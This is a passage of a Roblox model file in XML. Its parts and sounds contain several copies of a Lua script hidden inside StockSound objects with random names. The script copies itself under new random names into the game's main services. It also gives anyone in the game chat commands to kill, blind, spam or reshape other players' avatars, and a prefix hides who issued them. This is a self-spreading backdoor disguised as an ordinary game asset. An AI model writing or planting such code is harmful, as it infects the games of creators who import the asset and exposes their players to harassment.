if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX547">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-7.15840626</X>
							<Y>0.889800489</Y>
							<Z>189.902054</Z>
							<R00>-0.000604039466</R00>
							<R01>0.885287762</R01>
							<R02>0.465043157</R02>
							<R10>0.999999702</R10>
							<R11>0.000680366473</R11>
							<R12>3.91795356e-006</R12>
							<R20>-0.000312906661</R20>
							<R21>0.465043068</R21>
							<R22>-0.885287881</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P3</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00177307054</X>
							<Y>0.00161360623</Y>
							<Z>0.0024335233</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="BodyVelocity" referent="RBX551">
						<Properties>
							<string name="Name">BodyVelocity</string>
							<float name="P">1250</float>
							<bool name="archivable">true</bool>
							<Vector3 name="maxForce">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX552">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">05igq</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX553">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ub9cwjgei</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Sound" referent="RBX554">
						<Properties>
							<bool name="Looped">true</bool>
							<string name="Name">Sound</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><url>rbxasset://sounds\hit.wav</url></Content>
							<float name="Volume">1</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX555">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">8bcmks</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX556">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">o7vkro</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
